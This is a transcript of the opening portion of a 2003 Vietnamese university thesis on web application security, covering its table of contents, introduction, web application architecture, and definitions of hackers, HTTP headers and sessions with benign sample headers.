Bao mat ung_dung_web

169
Khoa CNTT BGIÁO DC VÀ ĐÀO TO TRƯỜNG ĐẠI HC KHOA HC TNHIÊN TP.HCM KHOA CÔNG NGHTHÔNG TIN BMÔN MNG MÁY TÍNH LUN VĂN TT NGHIP ĐỀ TÀI: NGHIÊN CU MT SVN ĐỀ VBO MT NG DNG WEB TRÊN INTERNET GVHD: Th.S. MAI VĂN CƯỜNG SVTH : NGUYN DUY THĂNG - 9912074 NGUYN MINH THU - 9912156 KHÓA HC: 1999-2003

Transcript of Bao mat ung_dung_web

Page 1: Bao mat ung_dung_web

Khoa CNTT

BỘ GIÁO DỤC VÀ ĐÀO TẠOTRƯỜNG ĐẠI HỌC KHOA HỌC TỰ NHIÊN TP.HCM

KHOA CÔNG NGHỆ THÔNG TINBỘ MÔN MẠNG MÁY TÍNH

LUẬN VĂN TỐT NGHIỆP

ĐỀ TÀI:

NGHIÊN CỨU MỘT SỐ VẤN ĐỀ VỀ BẢO MẬTỨNG DỤNG WEB TRÊN INTERNET

GVHD: Th.S. MAI VĂN CƯỜNGSVTH : NGUYỄN DUY THĂNG - 9912074

NGUYỄN MINH THU - 9912156

KHÓA HỌC: 1999-2003

Page 2: Bao mat ung_dung_web

Khoa CNTT

Lời cảm ơn

Sau gần 6 tháng nỗ lực thực hiện, luận văn nghiên cứu “Các kĩ thuật tấn công và

bảo mật ứng dụng Web trên Internet” đã phần nào hoàn thành. Ngoài sự cố gắng

hết mình của bản thân, chúng em đã nhận được sự khích lệ rất nhiều từ phía nhà

trường, thầy cô, gia đình và bạn bè.

Trước hết chúng con xin cám ơn ba mẹ đã luôn động viên và tạo mọi điều kiện

tốt để chúng con học tập và hoàn thành luận văn tốt nghiệp này.

Chúng em xin cám ơn thầy cô trường Đại Học Khoa Học Tự Nhiên đã truyền đạt

những kiến thức quý báu cho chúng em trong suốt quá trình học tập. Đặc biệt,

chúng em xin bày tỏ lòng chân thành sâu sắc đến thầy Mai Văn Cường, người đã

tận tình hướng dẫn và giúp đỡ chúng em trong quá trình làm luận văn tốt nghiệp.

Xin cám ơn tất cả bạn bè đã và đang động viên, giúp đỡ chúng tôi trong quá trình

học tập và hoàn thành tốt luận văn tốt nghiệp này.

Page 3: Bao mat ung_dung_web

Khoa CNTT

Lời nhận xét

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

……………………………………………………………………………………………

Page 4: Bao mat ung_dung_web

Khoa CNTT

Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet

MỤC LỤCGIỚI THIỆU………………………………………………………………………………

Tổ chức của luận văn……………………………………………………………………...

PHẦN THỨ NHẤT: CƠ SỞ LÍ THUYẾT……………………………………………….

Chương 1: Giới thệu Ứng dụng Web……………………………………………………..

I. KHÁI NIỆM ỨNG DỤNG WEB………………………………..……………………

II. MÔ TẢ HOẠT ĐỘNG CỦA MỘT ỨNG DỤNG WEB………..…………………...

Chương 2: Các khái niệm, thuật ngữ liên quan …………………………………………..

I. HACKER………………………………………………………………………………

II. HTTP HEADER……………………………………………………………………...

III. SESSION…………………………….………………………………………………

IV. COOKIE……………………………………………………………………………..

V. PROXY……………………………………………………………………………….

Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công Ứng dụng Web…………………..

I. KIỂM SOÁT TRUY CẬP WEB………………………………………………………

I.1. Thâm nhập hệ thống qua cửa sau…………………………………………………..

II. CHIẾM HỮU PHIÊN LÀM VIỆC…………………………………………………...

II.1. Ấn định phiên làm việc……………………………………………………………

II.2. Đánh cắp phiên làm việc………………………………………………………….

III. LỢI DỤNG CÁC THIẾU SÓT TRONG VIỆC KIỂM TRA DỮ LIỆU NHẬP HỢP

LỆ……….…………………………………………………………………………….......

III.1. Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt…………....

III.2. Tràn bộ đệm……………..……………………………………………………….

III.3. Mã hóa URL……………………………………………………………………..

III.4. Kí tự Meta………………………………………………………………………..

III.5. Vượt qua đường dẫn……………………………………………………………..

III.6. Chèn mã lệnh thực thi trên trình duyệt nạn nhân………………………………..

III.7. Thêm câu lệnh hệ thống………………….……………………………………...

7

9

11

12

13

16

18

19

19

21

22

25

26

27

27

27

27

27

27

28

28

28

28

29

29

29

Page 5: Bao mat ung_dung_web

Khoa CNTT

Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet

III.8. Chèn câu truy vấn SQL…………………….……………………………………

III.9. Ngôn ngữ phía máy chủ………………................................................................

III.10. Kí tự rỗng….…………………………………………………………………...

III.11. Thao tác trên tham số truyền…………………………………………………...

IV. ĐỂ LỘ THÔNG TIN……………………………………………………………….

V. TỪ CHỐI DỊCH VỤ………………….……………………………………………..

PHẦN THỨ HAI: CÁC KĨ THUẬT TẤN CÔNG VÀ BẢO MẬT ỨNG DỤNG WEB..

Chương 4: Thao tác trên tham số truyền…………………………………………………

I. THAO TÁC TRÊN URL……………………………………………………………..

I.1. Khái niệm………………………………………………………………………….

I.2. Một số biện pháp khắc phục……………………………………………………….

II. THAO TÁC TRÊN BIẾN ẨN FORM……………………………………………….

II.1. Khái niệm…………………………………………………………………………

II.2. Một số biện pháp khắc phục……………………………………………………...

III. THAO TÁC TRÊN COOKIE………………………………………………………

III.1. Khái niệm ……………………………………………………………………….

III.2. Một số biện pháp khắc phục……………………………………………………..

IV. THAO TÁC TRONG HTTP HEADER…………………………………………….

IV.1. Khái niệm………………………………………………………………………..

IV.2. Một số biện pháp khắc phục……………………………………………………..

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Side Scripting)…….

I. KĨ THUẬT TẤN CÔNG CROSS-SITE SCRIPTING (XSS)………………………...

II. PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG…………………………...

III. MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS………………………………...

IV. TẤN CÔNG XSS BẰNG FLASH………………………………………………….

V. CÁCH PHÒNG CHỐNG……………………………………………………………

Chương 6: Chèn câu truy vấn SQL (SQL Injection)…………………………………….

I. KHÁI NIỆM SQL INJECTION……………………………………………………...

II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU………………………………………...

30

30

30

30

31

31

33

34

35

35

36

36

36

38

39

39

40

41

41

42

43

44

46

50

51

54

56

57

57

Page 6: Bao mat ung_dung_web

Khoa CNTT

Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet

III. CÁC CÁCH TẤN CÔNG………………………………………………………….

III.1. Kĩ thuật tấn công SQL Injection………………………………………………...

III.2. Tấn công dưa vào câu lệnh SELECT……………………………………………

III.3. Tấn công dưa vào câu lệnh HAVING…………………………………………...

III.4. Tấn công dưa vào câu lệnh kết hợp UNION……………………………………

III.5. Tấn công dưa vào lệnh INSERT………………………………………………...

III.6. Tấn công dưa vào STORED PROCEDURE……………………………………

III.7. Nâng cao………………………………………………………………………...

III.7.1. Chuỗi kí tự không có dấu nháy đơn………………………………………….

III.7.2. Tấn công 2 tầng………………………………………………………………

III.7.3. Tránh sự kiểm soát…………………………………………………………...

III.7.4. Dùng Extended Stored Procedure……………………………………………

III.7.4.1. Dùng Extended Stored Procedure có sẵn trong hệ thống SQL Server…...

III.7.4.2. Dùng Extended Stored Procedure tự tạo………………………………….

III.7.4.3. Nhập tập tin văn bản vào bảng……………………………………………

IV. CÁCH PHÒNG CHỐNG…………………………………………………………

IV.1. Kiểm tra dữ liệu………………………………………………………………..

IV.2. Khoá chặt SQL Server (SQL Server Lockdown)……………………………...

Chương 7: Chiếm hữu phiên làm việc (Session Management)…………………………

I. TỔNG QUAN VỀ SESSION ID……………………………………………………..

II. ẤN ĐỊNH PHIÊN LÀM VIỆC……………………………………………………...

II.1. Tấn công Session ID trên tham số URL…………………………………………

II.2. Tấn công Session ID trong biến ẩn form………………………………………...

II.3. Tấn công Session ID trong cookie……………………………………………….

II.4. Cách phòng chống……………………………………………………………….

III. ĐÁNH CẮP PHIÊN LÀM VIỆC…………………………………………………..

III.1. Tấn công kiểu dự đoán phiên làm việc (Prediction sessionID)…………………

III.2. Tấn công kiểu vét cạn phiên làm việc (Brute force ID)………………………...

III.3. Tấn công kiểu dùng đoạn mã để đánh cấp phiên làm việc……………………...

58

58

60

62

62

69

70

70

70

71

74

75

75

76

77

77

78

81

83

84

85

88

89

89

91

92

93

93

94

Page 7: Bao mat ung_dung_web

Khoa CNTT

Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet

III.4. Cách phòng chống……………………………………………………………….

III.5. Sự khác biệt giữa đánh cắp phiên làm việc (session hijacking) và ấn định phiên

làm việc (session fixation)……………………………………………………………...

Chương 8: Tràn bộ đệm (Buffer Overflow)……………………………………………..

I. KHÁI NIỆM………………………………………………………………………….

II. SƠ ĐỒ TỔ CHỨC CỦA BỘ NHỚ………………………………………………….

II.1. Stack……………………………………………………………………………...

II.2. Push và Pop………………………………………………………………………

II.3. Cách làm việc của hàm…………………………………………………………..

II.4. Shell code………………………………………………………………………...

III. MỘT SỐ CÁCH GÂY TRÀN BỘ ĐỆM QUA ỨNG DỤNG WEB……………….

IV. CÁC CÁCH PHÒNG CHỐNG…………………………………………………….

Chương 9: Từ chối dịch vụ (DoS)……………………………………………………….

I. KHÁI NIỆM…………………………………………………………………………..

II. NHỮNG KHẢ NĂNG BỊ TẤN CÔNG BẰNG DOS……………………………….

III. CÁC KĨ THUẬT TẤN CÔNG……………………………………………………..

III.1. Khái niệm về Tcp bắt tay ba chiều………………………………………………

III.2. Lợi dụng TCP thực hiện phương pháp SYN flood truyền thống………………..

III.3. Tấn công vào băng thông………………………………………………………..

III.3.1. Kiểu tấn công thứ 1…………………………………………………………..

III.3.2. Kiểu tấn công thứ 2…………………………………………………………..

III.4. Kiểu tấn công vào tài nguyên hệ thống………………………………………….

IV. BIỆN PHÁP PHÒNG CHỐNG…………………………………………………….

Chương 10: Một số kĩ thuật tấn công khác……………………………………………...

I. MÃ HÓA URL (URL Encoding) ……………………………………………………

I.1. Khái niệm…………………………………………………………………………

I.2. Một số biện pháp phòng chống…………………………………………………...

II. KIỂU TẤN CÔNG VƯỢT ĐƯỜNG DẪN…………………………………………

II.1. Khái niệm………………………………………………………………………..

94

94

97

98

99

100

101

102

104

106

106

108

109

109

110

110

112

113

113

113

117

117

119

120

120

121

121

121

Page 8: Bao mat ung_dung_web

Khoa CNTT

Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet

II.2. Một số biện pháp phòng chống…………………………………………………..

III. TẤN CÔNG DỰA VÀO KÍ TỰ RỖNG…………………………………………...

III.1. Khái niệm………………………………………………………………………..

III.2. Một số biện pháp phòng chống………………………………………………….

IV. NGÔN NGỮ PHÍA TRÌNH CHỦ………………………………………………….

IV.1. Khái niệm………………………………………………………………………..

IV.2. Cách tấn công……………………………………………………………………

IV.3. Biện pháp phòng chống…………………………………………………………

Chương 11: Tổng kết quá trình tấn công của Hacker…………………………………...

I. THU THẬP THÔNG TIN Ở MỨC HẠ TẦNG CỦA MỤC TIÊU…………………

II. KHẢO SÁT ỨNG DỤNG WEB……………………………………………………

III. TẤN CÔNG………………………………………………………………………..

Chương 12: Tổng kết các biện pháp phòng chống……………………………………...

I. VỚI NHỮNG NHÀ QUẢN TRỊ MẠNG……………………………………………

II. VỚI NHỮNG NHÀ THIẾT KẾ ỨNG DỤNG WEB……………………………….

III. VỚI NGƯỜI SỬ DỤNG ỨNG DỤNG WEB……………………………………...

PHẦN THỨ BA: CHƯƠNG TRÌNH WEB CHECKER………………………………..

Chương 13: Chương trình Web Checker………………………………………………..

I. ĐẶC TẢ CHƯƠNG TRÌNH WEB CHECKER……………………………………..

I.1. Tổng quan………………………………………………………………………...

I.2. Yêu cầu…………………………………………………………………………...

I.2.1. Yêu cầu chức năng…………………………………………………………….

I.2.1. Yêu cầu phi chức năng………………………………………………………...

II. KIẾN TRÚC CHƯƠNG TRÌNH WEB CHECKER………………………………..

II.1. Kiến trúc chương trình Web Checker…………………………………………...

II.2. Giao tiếp giữa chương trình với trình chủ Web………………………………….

III. CÀI ĐẶT…………………………………………………………………………...

III.1. Ngôn ngữ cài đặt………………………………………………………………..

III.2. Phương pháp cài đặt…………………………………………………………….

122

123

123

123

123

123

125

125

127

128

131

132

134

135

137

139

140

141

142

142

142

142

143

143

143

144

145

145

145

Page 9: Bao mat ung_dung_web

Khoa CNTT

Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet

III.2.1. Sử dụng mô hình giao diện dạng Dialog…………………………………….

III.2.2. Sử dụng ActiveX Control (Microsoft Web Browser)……………………….

III.2.3. Sử dụng giao diện lập trình Window Socket 2………………………………

III.2.4. Một số lớp và hàm chính được cài đặt trong chương trình………………….

III.3. Mô tả chương trình và cách sử dụng……………………………………………

III.3.1. Màn hình chương trình………………………………………………………

III.3.2. Cách sử dụng………………………………………………………………...

IV. ĐÁNH GIÁ CHƯƠNG TRÌNH……………………………………………………

IV.1. Những vấn đề đạt được………………………………………………………..

IV.2. Những vấn đề hạn chế…………………………………………………………

KẾT LUẬN……………………………………………………………………………...

I. NHỮNG VẤN ĐỀ ĐẠT ĐƯỢC…………………………………………………….

II. HƯỚNG PHÁT TRIỂN…………………………………………………………….

PHỤ LỤC………………………………………………………………………………..

145

145

146

146

151

151

152

153

153

153

155

156

157

158

Page 10: Bao mat ung_dung_web

Khoa CNTT

Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet

-Trang 7-

GIỚI THIỆU

Ngày nay, khi Internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu

giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các phiên giao

dịch trực tuyến. Vấn đề nảy sinh là khi phạm vi ứng dụng của các ứng dụng Web ngày

càng mở rộng thì khả năng xuất hiện lỗi và bị tấn công càng cao, trở thành đối tượng

cho nhiều người tấn công với các mục đích khác nhau. Đôi khi, cũng chỉ đơn giản là để

thử tài hoặc đùa bỡn với người khác.

Cùng với sự phát triển không ngừng của Internet và các dịch vụ trên Internet, số lượng

các vụ tấn công trên Internet cũng tăng theo cấp số nhân. Trong khi các phương tiện

thông tin đại chúng ngày càng nhắc nhiều đến những khả năng truy nhập thông tin của

Internet, thì các tài liệu chuyên môn bắt đầu đề cập nhiều đến vấn đề bảo đảm và an

toàn dữ liệu cho các máy tính được kết nối vào mạng Internet.

Theo số liệu của CERT (Computer Emegency Response Team - "Đội cấp cứu máy

tính"), số lượng các vụ tấn công trên Internet được thông báo cho tổ chức này là ít hơn

200 vào năm 1989, khoảng 400 vào năm 1991, 1400 vào năm 1993, và 2241 vào năm

1994, và năm 2001 là 5315 vụ.

Những vụ tấn công này nhằm vào tất cả các máy tính có mặt trên Internet, các máy tính

của tất cả các công ty lớn như AT&T, IBM, các trường đại học, các cơ quan nhà nước,

các tổ chức quân sự, nhà băng... Một số vụ tấn công có quy mô khổng lồ (có tới

100.000 máy tính bị tấn công). Hơn nữa, những con số này chỉ là phần nổi của tảng

băng. Một phần rất lớn các vụ tấn công không được thông báo, vì nhiều lý do, trong đó

Page 11: Bao mat ung_dung_web

Khoa CNTT

Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet

-Trang 8-

có thể kể đến nỗi lo bị mất uy tín, hoặc đơn giản những người quản trị hệ thống không

hay biết những cuộc tấn công đang nhằm vào hệ thống của họ.

Điển hình là cuộc tấn công vào phần mềm thương mại của IBM tháng 3/2001, hai

hacker đã tìm thấy lỗ hổng trên ứng dụng mà bất cứ ai với một trình duyệt Web cũng

có thể lấy tài khoản của người dùng, thậm chí cả người quản trị.

Không chỉ số lượng các cuộc tấn công tăng lên nhanh chóng, mà các phương pháp tấn

công ngày càng tinh vi và có tổ chức. Mặt khác, việc quản trị các hệ thống mạng đòi

hỏi nhà quản trị hệ thống có kiến thức và kinh nghiệm về hệ thống mạng chắc chắn,

do đó sự yếu kém trong quản lý sẽ tạo nhiều điều kiện cho các hacker khai thác.

Cũng theo CERT, những cuộc tấn công thời kỳ 1988-1989 chủ yếu là đoán tên người

sử dụng-mật khẩu (UserID/password) hoặc sử dụng một số lỗi của các chương trình và

hệ điều hành (security hole) làm vô hiệu hệ thống bảo vệ, tuy nhiên các cuộc tấn công

vào thời gian gần đây còn bao gồm cả các thao tác như giả mạo địa chỉ IP, theo dõi

thông tin truyền qua mạng, chiếm các phiên làm việc từ xa (telnet hoặc rlogin), cài

trojan hay worm để kiểm soát hay điều khiển máy tính…vì thế, nhu cầu bảo vệ thông

tin trên Internet là cần thiết nhằm mục đích bảo vệ dữ liệu, bảo vệ thông tin người dùng

và bảo vệ hệ thống.

Khi nói đến vấn đề bảo mật, hầu hết các chuyên gia bảo mật đều chú trọng đến sự an

toàn của hệ thống mạng và hệ điều hành. Để bảo vệ cho hệ thống, phương pháp thường

được chọn là sử dụng firewall. Tuy nhiên, theo tuyên bố của CSI/FBI : 78% nơi bị hại

có sử dụng firewall và 59% thì bị tấn công thông qua Internet, cụ thể hơn là theo báo

cáo của CSI/FBI Computer Crime và Security Survey thì tổng số thiệt hại do những

ứng dụng Web bị tấn công từ năm 1997 đến năm 2000 là 626 triệu đôla Mỹ.

Page 12: Bao mat ung_dung_web

Khoa CNTT

Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet

-Trang 9-

Với những công cụ tự động tìm lỗ hổng tuy giúp rất nhiều cho những nhà lập trình

Web nhưng vẫn không thể ngăn chặn toàn bộ vì công nghệ Web đang phát triển nhanh

chóng (chủ yếu chú trọng đến yếu tố thẩm mĩ, yếu tố tốc độ…) nên dẫn đến nhiều

khuyết điểm mới phát sinh. Sự tấn công không nằm trong khuôn khổ vài kĩ thuật đã

phát hiện, mà linh động và tăng lên tùy vào những sai sót của nhà quản trị hệ thống

cũng như của những người lập trình ứng dụng.

Luận văn được thực hịên với mục đích tìm hiểu, phân tích các lỗ hổng bảo mật trong

các ứng dụng web (cùng với chương trình minh họa) để qua đó đề xuất các phương án

sửa chữa. Song song đó, luận văn còn thực hiện một chương trình “Tự động phát hiện

lỗ hổng trên ứng dụng Web” giúp ích cho những nhà lập trình Web ít kinh nghiệm

tránh những sai sót trong quá trình tạo các ứng dụng.

Tổ chức của luận văn

Luận văn gồm 13 chương chia thành 3 phần:

Phần thứ nhất: CƠ SỞ LÍ THUYẾT

Phần này gồm có 3 chương:

+ Chương 1 : Giới thiệu về ứng dụng Web

+ Chương 2 : Một số khái niệm, thuật ngữ liên quan.

+ Chương 3: Sơ lược các kĩ thuật tấn công ứng dụng Web

Phần thứ hai:CÁC KĨ THUẬT TẤN CÔNG VÀ BIỆN PHÁP PHÒNG CHỐNG

Phần này gồm có 9 chương từ chương 4 đến chương 12 trong đó 7 chương đầu bàn

luận về các kĩ thuật tấn công, cuối mỗi chương là biện pháp phòng chống cho từng kĩ

thuật. Chương 11 nói về quá trình tấn công của hacker và đến chương 12 là nội dung

các biện pháp phòng chống chung nhất.

Page 13: Bao mat ung_dung_web

Khoa CNTT

Nghiên cứu một số vấn đề về bảo mật ứng dụng Web trên Internet

-Trang 10-

Phần thứ ba : CHƯƠNG TRÌNH “WEB CHECKER”

Là gồm chương cuối trình bày, giải thích về chương trình

Kết thúc luận văn là phần kết luận, tóm lược lại những vấn đề đã trình bày và một số

hướng phát triển trong tương lai và danh mục các tài liệu tham khảo.

Page 14: Bao mat ung_dung_web

Khoa CNTT

Phần I: Cơ sở lý thuyết

-Trang 11-

PHẦN THỨ NHẤT

CƠ SỞ LÍ THUYẾT

Page 15: Bao mat ung_dung_web

Khoa CNTT

Chương 1: Giới thiệu Ứng dụng Web

-Trang 12-

Chương 1

GIỚI THIỆU ỨNG DỤNG WEBNội dung:

I. Khái niệm về ứng dụng Web

II. Mô tả cách hoạt động của một ứng dụng Web

Page 16: Bao mat ung_dung_web

Khoa CNTT

Chương 1: Giới thiệu Ứng dụng Web

-Trang 13-

CHƯƠNG 1: GIỚI THIỆU ỨNG DỤNG WEB

Luận văn được thực hiện nhằm tìm hiểu về các kĩ thuật tấn công trang Web và đề ra

cách phòng chống. Do đó, trong chương đầu tiên luận văn sẽ giới thiệu sơ lược một số

khái niệm cơ bản và đây chính là nền tảng để xây dựng nội dung cho những phần sau.

I. KHÁI NIỆM ỨNG DỤNG WEB

Ứng dụng Web là một ứng dụng chủ/khách sử dụng giao thức HTTP để tương tác với

người dùng hay hệ thống khác.

Trình khách dành cho người sử dụng thường là một trình duyệt Web như Internet

Explorer hay Netscape Navigator. Cũng có thể là một chương trình đóng vai trò đại

lý người dùng hoạt động như một trình duyệt tự động. Người dùng gửi và nhận các

thông tin từ trình chủ thông qua việc tác động vào các trang Web. Các chương trình

có thể là các trang trao đổi mua bán, các diễn đàn, gửi nhận e-mail…

Tốc độ phát triển các kỹ thuật xây dựng ứng dụng Web cũng phát triển rất nhanh.

Trước đây những ứng dụng Web thường được xây dựng bằng CGI (Common

Gateway Interface) được chạy trên các trình chủ Web và có thể kết nối vào các cơ sở

dữ liệu đơn giản trên cùng máy chủ. Ngày nay ứng dụng Web thường được viết bằng

Java (hay các ngôn ngữ tương tự) và chạy trên máy chủ phân tán, kết nối đến nhiều

nguồn dữ liệu.

Một ứng dụng web thường có kiến trúc gồm:

Page 17: Bao mat ung_dung_web

Khoa CNTT

Chương 1: Giới thiệu Ứng dụng Web

-Trang 14-

Hình 1.I-1. Kiến trúc một ứng dụng Web

• Lớp trình bày: Lớp này có nhiệm vụ hiển thị dữ liệu cho người dùng, ngoài ra còn

có thể có thêm các ứng dụng tạo bố cục cho trang web.

• Lớp ứng dụng: là nơi xử lý của ứng dụng Web. Nó sẽ xử lý thông tin người dùng

yêu cầu, đưa ra quyết định, gửi kết quả đến “lớp trình bày”. Lớp này thường

được cài đặt bằng các kỹ thuật lập trình như CGI, Java, .NET , PHP hay

ColdFusion, được triển khai trên các trình chủ như IBM WebSphere, WebLogic,

Apache, IIS…

• Lớp dữ liệu: thường là các hệ quản trị dữ liệu (DBMS) chịu trách nhiệm quản lý

các file dữ liệu và quyền sử dụng.

Mô hình hóa hoạt động của một ứng dụng Web:

Page 18: Bao mat ung_dung_web

Khoa CNTT

Chương 1: Giới thiệu Ứng dụng Web

-Trang 15-

Hình 1.I-2. Mô hình hoạt động của một ứng dụng Web

Trong đó:

• Trình khách ( hay còn gọi là trình duyệt): Internet Explorer, Netscap Navigator

• Trình chủ: Apache, IIS, ….

• Hệ quản trị cơ sở dữ liệu: SQL Server, MySQL, DB2, Access….

Bên cạnh đó, một giải pháp dùng để bảo vệ một hệ thống mạng thường được sử dụng

là bức tường lửa, nó có vai trò như là lớp rào chắn bên ngoài một hệ thống mạng, vì

chức năng chính của firewall là kiểm soát luồng thông tin giữa các máy tính. Có thể

xem firewall như một bộ lọc thông tin, nó xác định và cho phép một máy tính này có

được truy xuất đến một máy tính khác hay không, hay một mạng này có được truy

xuất đến mạng kia hay không.

Người ta thường dùng firewall vào mục đích:

• Cho phép hoặc cấm những dịch vụ truy xuất ra ngoài.

Page 19: Bao mat ung_dung_web

Khoa CNTT

Chương 1: Giới thiệu Ứng dụng Web

-Trang 16-

• Cho phép hoặc cấm những dịch vụ từ bên ngoài truy nhập vào trong.

• Kiểm soát địa chỉ truy nhập, cấm địa chỉ truy nhập.

Firewall hoạt động dựa trên gói IP do đó kiểm soát việc truy nhập của máy người sử

dụng

II.MÔ TẢ HOẠT ĐỘNG CỦA MỘT ỨNG DỤNG WEB

Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến trình chủ Web thông qua các

lệnh cơ bản GET, POST… của giao thức HTTP, trình chủ lúc này có thể cho thực thi

một chương trình được xây dựng từ nhiều ngôn ngữ như Perl, C/C++… hoặc trình

chủ yêu cầu bộ diễn dịch thực thi các trang ASP, JSP… theo yêu cầu của trình khách.

Tùy theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối đến

cơ sở dữ liệu, lưu các thông tin do trình khách gửi đến…và từ đó trả về cho trình

khách 1 luồng dữ liệu có định dạng theo giao thức HTTP, nó gồm 2 phần:

• Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi

giữa trình duyệt và WebServer.

• Body là phần nội dung dữ liệu mà Server gửi về Client, nó có thể là một file

HTML, một hình ảnh, một đoạn phim hay một văn bản bất kì.

Theo mô hình ở hình 1.I-2, với firewall, luồng thông tin giữa trình chủ và trình khách

là luồng thông tin hợp lệ. Vì thế, nếu hacker tìm thấy vài lỗ hổng trong ứng dụng

Web thì firewall không còn hữu dụng trong việc ngăn chặn hacker này. Do đó, các kĩ

thuật tấn công vào một hệ thống mạng ngày nay đang dần tập trung vào những sơ

suất (hay lỗ hổng) trong quá trình tạo ứng dụng của những nhà phát triển Web hơn là

tấn công trực tiếp vào hệ thống mạng, hệ điều hành. Tuy nhiên, hacker cũng có thể

Page 20: Bao mat ung_dung_web

Khoa CNTT

Chương 1: Giới thiệu Ứng dụng Web

-Trang 17-

lợi dụng các lỗ hổng Web để mở rộng sự tấn công của mình vào các hệ thống không

liên quan khác.

Page 21: Bao mat ung_dung_web

Khoa CNTT

Chương 2: Các khái niệm, thuật ngữ liên quan

-Trang 18-

Chương 2

CÁC KHÁI NIỆM, THUẬT NGỮ LIÊN QUAN

Nội dung:

I. Hacker

II. HTTP Header

III. Phiên làm việc (Session)

IV. Cookie

V. Proxy

Page 22: Bao mat ung_dung_web

Khoa CNTT

Chương 2: Các khái niệm, thuật ngữ liên quan

-Trang 19-

CHƯƠNG 2:

CÁC KHÁI NIỆM, THUẬT NGỮ LIÊN QUAN

I. HACKER

Hacker là một thuật ngữ dùng để chuyên chỉ những kẻ phá hoại các hệ thống mạng…

Hacker thường là những chuyên gia về máy tính. Hacker không tạo ra các kẽ hở cho

hệ thống, nhưng hacker lại là những người am hiểu về hệ điều hành, hệ quản trị dữ

liệu, các ngôn ngữ lập trình…Họ sử dụng kiến thức của mình trong việc tìm tòi và

khai thác các lỗ hổng của hệ thống mạng. Một số hacker chỉ dừng lại việc phát hiện

và thông báo lỗi tìm được cho những nhà bảo mật hay người phát triển chương trình,

họ được xem như là WhiteHat (Hacker nón trắng). Một số hacker dựa vào những lỗ

hổng thực hiện việc khai thác trái phép nhằm mục đích phá hoại hay mưu lợi riêng,

những người này bị xem như là BlackHat (Hacker nón đen).

Vì tính chất phổ biến của thuật ngữ hacker, nên trong phần trình bày, luận văn sẽ sử

dụng “hacker” thay cho “kẻ tấn công”.

II.HTTP HEADER

HTTP header là phần đầu (header) của thông tin mà trình khách và trình chủ gửi cho

nhau. Những thông tin trình khách gửi cho trình chủ được gọi là HTTP requests (yêu

cầu) còn trình chủ gửi cho trình khách là HTTP responses (trả lời). Thông thường,

một HTTP header gồm nhiều dòng, mỗi dòng chứa tên tham số và giá trị. Một số

Page 23: Bao mat ung_dung_web

Khoa CNTT

Chương 2: Các khái niệm, thuật ngữ liên quan

-Trang 20-

tham số có thể được dùng trong cả header yêu cầu và header trả lời, còn số khác thì

chỉ đuợc dùng riêng trong từng loại. Ví dụ :

• Header yêu cầu:

GET /tintuc/homnay.asp HTTP/1.1

Accept: */*

Accept-Language: en-us

Connection: Keep-Alive

Host: localhost

Referer: http://localhost/lienket.asp

User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)

Accept-Encoding: gzip, deflate

o Dòng đầu là dòng yêu cầu cho biết phương thức yêu cầu (GET hoặc

POST), địa chỉ yêu cầu (/tintuc/homnay.asp) và phiên bản HTTP

(HTTP/1.1)..

o Tiếp theo là các tham số. Chẳng hạn như:

Accept-Language: Cho biết ngôn ngữ dùng trong trang web.

Host: Cho biết địa chỉ của máy chủ.

Referer: Cho biết địa chỉ của trang web tham chiếu tới.

o Header của HTTP request sẽ kết thúc bằng một dòng trống.

• Header trả lời:

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Thu, 13 Jul 2000 05:46:53 GMT

Page 24: Bao mat ung_dung_web

Khoa CNTT

Chương 2: Các khái niệm, thuật ngữ liên quan

-Trang 21-

Content-Length: 2291

Content-Type: text/html

Set-Cookie: ASPSESSIONIDQQGGGNCG=LKLDFFKCINFLDMFHCBCBMFLJ;

path=/

Cache-control: private

<HTML>

<BODY>

...

o Dòng đầu là dòng trạng thái, để cho biết phiên bản HTTP được dùng

(HTTP/1.1), mã trạng thái (200) và trạng thái (OK).

o Tiếp theo là các tham số.

o Tiếp theo là một dòng trống để báo hiệu kết thúc header, tiếp theo là phần

thân của HTTP response.

Danh sách tham số của HTTP header được trình bày trong phụ lục A

III. SESSION

HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là HTTP không

lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ. Sự thiếu sót này gây khó

khăn cho một số ứng dụng Web, bởi vì trình chủ không biết được trước đó trình

duyệt đã có những trạng thái nào. Vì thế, để giải quyết vấn đề này, ứng dụng Web

đưa ra một khái niệm phiên làm việc (Session). Còn SessionID là một chuỗi để chứng

thực phiên làm việc. Một số trình chủ sẽ cung cấp một SessionID cho người dùng

khi họ xem trang web trên trình chủ.

Để duy trì phiên làm việc thì sessionID thường được lưu vào :

Page 25: Bao mat ung_dung_web

Khoa CNTT

Chương 2: Các khái niệm, thuật ngữ liên quan

-Trang 22-

• Biến trên URL

• Biến ẩn form

• Cookie

